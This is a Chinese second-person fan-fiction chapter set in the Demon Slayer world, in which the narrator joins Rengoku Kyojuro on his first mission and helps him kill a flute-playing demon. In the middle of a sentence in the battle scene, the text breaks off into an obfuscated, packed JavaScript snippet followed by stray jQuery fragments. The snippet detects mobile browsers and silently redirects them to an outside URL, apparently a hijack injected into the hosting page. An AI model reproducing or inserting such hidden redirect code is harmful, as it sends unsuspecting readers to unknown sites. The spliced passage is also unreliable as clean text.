离开喧闹的庭院,步入安静的主屋,你脸上平静的表情才缓缓垮下。你走到窗边的矮几旁坐下,借着窗外透进来的最后一丝天光,低头仔细查看羽织下摆的破损处。
白底金纹的布料□□脆地切断,切口整齐利落,露出下面内衬的素色里子。那片缺失的布料不大,却异常刺眼,破坏了羽织整体流畅威严的线条。
你伸出手指,轻轻抚过破损的边缘。布料细腻的触感和桑岛师父将它交给你时那简短却郑重的叮嘱,仿佛还在指尖与耳边。
“……真是的。” 你低声自语,语气里带着懊恼和心疼。
这羽织不仅是一件衣物,更是师父对你的认可与期望的象征。才穿了没多久,就在训练中被后辈斩破……虽然理智上你知道这是训练的一部分,是不死川他们实力进步的证明,甚至可以说是你“教学成果”的体现,但情感上,看着师父赠予的、意义特殊的礼物受损,心里总归不是滋味。
“是我最近……松懈了吗?” 你忍不住反思。或许是因为将大部分精力放在了训练场的管理和指导上,自身的修行和警觉性有所下滑?否则,以不死川他们目前的实力,即便是他们拿日轮刀,你用木刀打,配合再默契,决断再果敢,按理也不该如此轻易地触及到你……的衣角。
但是这种自我质疑只是一闪而过,你很清楚,不死川和粂野的进步是实打实的,尤其是不死川最后那一下舍身一击的决绝和速度,确实超出了你当时应对的预判。但羽织被破这件事,依然像一根细小的刺,扎在了心里,提醒你不要因为担任了“教导者”的角色就忽视了自身的精进。
你小心地将羽织脱下,平铺在膝上,开始思考如何补救。直接扔掉或置之不理是不可能的。找普通的裁缝?且不说他们是否能理解这羽织所代表的意义和修复所需的技艺,单是上面那独特的金色雷霆纹路,恐怕就难以完美复原。
正蹙眉思索间,鎹鸦球球扑棱棱地落在了窗棂上,嘴里叼着一封薄薄的信。你认出那是炼狱家特有的、带着淡淡火焰纹样的信纸。
是杏寿郎的来信。
你暂时将羽织的事情放到一边,展开信纸。少年那力透纸背、充满活力的字迹跃然纸上:
「审神者!
展信佳!
我已成功通过最终选拔,正式成为鬼杀队剑士了!
虽然过程有些曲折,但结果很好!父亲和母亲,还有千寿郎都很为我高兴!
接下来,我将前往第一个任务地点。地点在西南方向的水泽村,据说有鬼在附近山林出没,袭击旅人。我会全力以赴,完成我的第一次任务!
希望你一切都好,最近还顺利吗?
期待下次见面时,能与你分享更多!
炼狱杏寿郎」
信的内容简短,却充满了杏寿郎特有的昂扬与赤诚。你能想象出他写下这些字句时,那双金红色眼眸熠熠生辉的样子。成为正式的鬼杀队剑士,踏上属于他的道路,这对他而言无疑是重要的一步。
你看着信,又看了看膝上破损的羽织,一个念头逐渐清晰起来。
会修补衣物,并且手艺足够精湛、还能够理解这羽织重要性的人……在你认识的人里,似乎只有一位。
炼狱瑠火夫人。
她温和细致,持家有道,从炼狱家整洁温馨的布置和家人们得体的衣物就能看出她的手艺。更重要的是,她了解你,了解鬼杀队,也必然能理解这件羽织对你的意义。
正好,杏寿郎初次执行任务,你也有些放心不下。虽然十分相信他的实力和心性,但“第一次”总归伴随着未知的风险。而且,你也想亲眼见证一下杏寿郎的第一次任务。
你想起之前自己重伤时,炼狱一家给予的毫无保留的关怀与支持,心中涌起一股暖意。
是时候回去拜访一下了。既能亲眼见证杏寿郎的初次任务,又能顺便拜托瑠火夫人修补羽织,更可以当面感谢他们之前的照顾。
你做出决定后,并没有立刻给杏寿郎回信。一个念头悄然浮现——给他一个惊喜。
想象着那个总是充满活力、笑容灿烂的少年,在初次执行任务时,突然看到你出现,会是怎样一副表情?惊讶?开心?还是像往常那样,立刻精神百倍地喊出“审神者!”?
这个想法让你嘴角不自觉地微微上扬。之前的些许懊恼也被冲淡了些。
第二天清晨,你将破损的羽织仔细包好,随后向道场负责的隐队员简单交代了几句,便离开了西山道场,朝着杏寿郎信中提到的“水泽村”方向疾行而去。
从西山道场到水泽村,按照地图显示,以你现在的脚程来说也不过是一天功夫,到达目的地时正好是晚上。
水泽村位于一片丘陵地带,村外山林茂密。当你抵达附近时,已是深夜。你收敛气息,如同幽灵般在林间穿行,敏锐的感知扩散开来,捕捉着空气中异常的气息和动静。
很快,你感觉到了——前方不远处,有鬼特有的阴冷污秽之气,以及……一种令人极其不适的、仿佛能直接钻入脑海、干扰思维的诡异声音!
找到了!
你身形一动,悄无声息地跃上附近一棵高大树木的枝干,透过枝叶的缝隙向下望去。
林间一小片空地上,情景映入眼帘。
杏寿郎背对着你站立着,他穿着崭新的鬼杀队制服,橘红色的中长发在脑后扎起一个小揪揪。此刻正双手紧紧捂住自己的耳朵,身体僵直。他右手的日轮刀已经出鞘,刀身泛着火焰般的红色光泽,但是此刻却腾不出手来挥刀。
而在他对面不远处,站着一个身形矮小、老人模样手持一支笛子的鬼。那只鬼正将笛子凑在嘴边,腮帮鼓起,一阵阵刺耳的、令人头晕目眩的笛音正源源不断地扩散开来!
鬼物的声音尖锐而得意,透过那烦人的笛音断续传来:
“真是不方便呢……手握住刀就无法完全遮住耳朵,如果无法握刀就无法继续战斗……喔,你现在完全不动,看来你是发现了……只要稍微试图移动就会摔跤……我的笛音会让你抓狂,想要移动脚步却动了头,想要移动双手却动了脚……我只需要一个笛音,就能让你们人类平时持续的锻炼完全失效……当你们有如四脚朝天的虫子一样狼狈时,就会被我的狗咬死……”
随着它的话语,笛音音调骤然一变,几头双目赤红、獠牙外露的狼形生物凭空出现,低吼着从不同方向缓缓逼近僵立不动的杏寿郎!
你心中一凛。血鬼术,与声音和思维干扰相关!难怪杏寿郎只能捂住耳朵僵立不动——他一旦试图移动或挥刀,身体的控制就会在笛音干扰下彻底混乱,反而会露出更大的破绽,甚至可能伤到自己!他捂住耳朵,是在用最直接的方式隔绝干扰,争取思考对策的时间。
看他那紧绷的侧脸和紧抿的嘴唇,你甚至能猜到,这个对自己都狠得下心的少年,恐怕都已经在考虑要不要震破自己的鼓膜来彻底隔绝这烦人的笛音了!
决不能让他这么做!
这是杏寿郎的第一次任务,是他的战斗。你不想直接插手,但你也绝不可能眼睁睁看着他采取如此自伤的方式,又或者被那些鬼狼围攻。
电光石火间,你有了主意。
你从藏身的树上一跃而下!目标并非鬼,而是僵立在原地的杏寿郎!
杏寿郎虽然双耳被自己死死捂住,隔绝了绝大部分笛音,但那敏锐的战斗直觉和对气息的感知并未完全被干扰。他察觉到了上方袭来的破空感!
是偷袭?鬼的同伙?!
他心中一凛,身体本能地想要闪避。但是视角转过来时却正对上你的眼睛!身体的闪避本能被替换成了另一种条件反射,他习惯性的配合你的动作接住了你。
紧接着,一双带着熟悉温度和力量的手,覆盖在了他紧捂双耳的手背上,稳稳地接替了他捂住耳朵的动作。
同时,一个熟悉到令他心脏骤然一缩的声音,贴着他的耳廓,压过了那恼人的笛音余韵,清晰地响起:
“刀!”
是你!
虽然被捂住耳朵,但这声音仿佛直接响在脑海里。来不及思考你为何会在此处,也来不及感受背后多了一个人的重量和温度,早已习惯的身体先于意识做出了反应!
几乎是你的“刀”字出口的同一瞬间,杏寿郎那双金红色的眼眸骤然爆发出夺目的光彩!因受限于笛音干扰而略显僵硬的身体,在双手重获自由、且耳畔的干扰被另一双手隔绝的刹那,重新焕发出惊人的力量。
他松开原本下意识想要去捂耳朵的手,双手重新握住那柄赤红色日轮刀,盯着眼前的敌人,摆出了炎之呼吸的起手式。
而在他背上,你双腿稳稳勾住他的腰侧保持平衡,双手则代替他紧紧捂住了他的双耳,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255696|197992||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将绝大部分笛音隔绝在外。而你自身因为并无其他动作的想法,只是一直固定这个姿势,所以那笛音对思维和身体控制的诡异干扰对你效果甚微。
你成了他此刻最坚固的“盾”。
笛子鬼显然没料到这突如其来的变故,笛音出现了极其短暂的、微不可察的凝滞。那几头音波鬼狼的扑击也随之一缓。
就是这刹那的破绽!
“炎之呼吸!”
杏寿郎低沉有力的喝声响起,带着一股驱散阴霾的灼热力量。他脚下一蹬,整个人如同挣脱了无形枷锁的猛虎,朝着笛子鬼猛冲而去!速度之快,远超之前被笛音限制时的表现!
赤红色的日轮刀在他手中划出炽烈的轨迹!
“壹之型·不知火!”
简单直接,却快如流星的一记直刺!目标直指笛子鬼那因惊愕而微微张开的嘴巴——以及它手中那支烦人的笛子!
笛子鬼大惊失色,慌忙想要移动吹奏,但杏寿郎的速度太快了!快到它那干扰思维的笛音还没来得及重新奏响、调整频率!
“噗嗤!”
赤红的刀尖精准地刺穿了笛子,余势不减,直接贯入鬼物的口腔深处!
笛音戛然而止!
“呃啊——!” 笛子鬼发出含混的惨嚎。
但杏寿郎的攻击并未停止。你在他背上,能清晰地感受到他肌肉瞬间的爆发和那毫无保留的、属于炎之呼吸的灼热力量。
他手腕一拧,刀身横转!
“贰之型·炎天升腾!”
赤红的火焰刀光自下而上,带着焚尽一切的气势,将笛子鬼的头颅连同那支破碎的笛子一起,干脆利落地斩断、挑起!
鬼物的头颅飞上半空,眼中还残留着难以置信的惊骇。它的身躯和那几头失去音源支撑的鬼狼,同时开始崩解消散。
战斗,在瞬息之间结束。
林间空地重新恢复了寂静,只剩下夜风吹过树叶的沙沙声,以及杏寿郎略的喘息。
他保持着挥刀斩首的姿势,顿了两秒,才缓缓收刀归鞘。赤红色的刀身没入刀鞘,发出一声清脆的轻响。
直到这时,他才仿佛真正意识到刚才发生了什么,以及……背上还趴着个人。
你感觉到他身体的紧绷缓缓放松下来,这才松开了捂住他耳朵的双手,轻轻拍了拍他的肩膀,示意可以了。然后,你动作利落地从他背上滑了下来,轻盈落地,站在他身侧。
杏寿郎猛地转过身,那双总是燃烧着火焰般热情的金红色眼眸,此刻映着月光和你平静的面容,里面充满了毫不掩饰的震惊、喜悦,以及一丝后知后觉的激动。
“审神者!” 他的声音比平时更加洪亮,带着显而易见的惊喜,“你怎么会在这里?!刚才真是帮大忙了!谢谢你!”
他上下打量着你,确认你安然无恙,脸上的笑容如同骤然绽放的太阳,驱散了林间所有的阴冷和刚才战斗的紧张。
“你的第一次任务,我当然要来见证。” 你看着他灿烂的笑容,嘴角也不自觉地微微弯起,“而且,我猜你可能需要一点‘小小的帮助’?” 你指了指自己的耳朵。
杏寿郎愣了一下,随即恍然,用力点头:“唔姆!确实!那个鬼的血鬼术非常麻烦!声音会干扰对身体的控制!我刚才都想震碎鼓膜来抵挡笛音了!” 他似乎想起了自己刚才那个危险的想法,有些不好意思地摸了摸后脑勺,“还好你来了!那个方法太棒了!”
他的语气里满满的都是纯粹的感激和对刚才那完美配合的兴奋。
“配合得不错。” 你点头肯定道,“反应很快。在那种干扰下,还能精准抓住破绽,一击必杀。”
得到你的夸奖,杏寿郎的笑容更加明亮,他挺起胸膛,大声道:“是!多亏了你的帮助!这就是同伴的力量!”
你看着他精神抖擞的样子,心好像被一团温暖又不会灼烧到你的火焰靠近,你也欣慰于眼前这个少年正在以他自己的方式,坚定地、耀眼地成长着。
“任务完成了,我和你一起走。” 你说道,“天太晚了,先找个地方睡一觉,等第二天天亮之后一起回家吧。我有点事情,想拜托瑠火夫人。”
“好啊!” 杏寿郎开心地答应,脸上写满了欢迎,“母亲知道你回来的话,一定会很高兴的!她在家里常提起你呢!父亲和千寿郎也是!”